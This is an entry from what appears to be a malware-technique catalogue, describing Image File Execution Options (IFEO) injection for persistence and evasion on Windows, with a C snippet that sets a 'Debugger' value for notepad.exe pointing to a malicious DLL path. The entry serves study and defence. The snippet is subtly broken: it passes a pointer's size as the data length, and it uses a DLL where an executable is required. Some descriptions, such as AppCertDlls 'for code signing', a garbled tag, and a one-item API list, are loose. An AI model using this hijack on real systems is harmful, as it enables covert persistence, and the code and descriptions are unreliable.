Image File Execution Options Injection

Created the Saturday 23 March 2019. Updated 6 months, 2 weeks ago.

Image File Execution Options Injection, also known as IFEO Injection, is a technique used by malware to evade detection and persist on a compromised system.

The technique involves modifying the Image File Execution Options (IFEO) registry key, which is used by the Windows operating system to set debugging options for executable files. When an executable file is launched, the operating system checks the corresponding IFEO registry key for any specified debugging options. If the key exists, the operating system launches the specified debugger instead of the executable file.

Along with IFEO, malware also uses other registry keys such as Appinit_DLL and AppCertDlls for both injection and persistence on the compromised system. These keys are used by the operating system to load DLLs at the start of a process and for code signing, respectively.

Technique Identifier

U1222

Technique Tags

Image File Execution Options Injection IFEO Injection malware evasion detection persistence compromised system registry keys Windows operating system debugging options executable files Appinit_DLL AppCertDlls injection DLLs code signing de signing

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

RegCloseKey

Code Snippets

#include <Windows.h>
#include <TlHelp32.h>

int main()
{
    HKEY hKey;
    LPCTSTR subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe";
    LPCTSTR value = "Debugger";
    LPCTSTR data = "C:\\malware.dll";
    DWORD dwSize = sizeof(data);

    // create or open the IFEO registry key
    RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

    // set the Debugger value to the path of the malicious DLL
    RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, dwSize);

    RegCloseKey(hKey);
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Ten process injection techniques: A technical survey of common and trending process injection techniques | Elastic Blog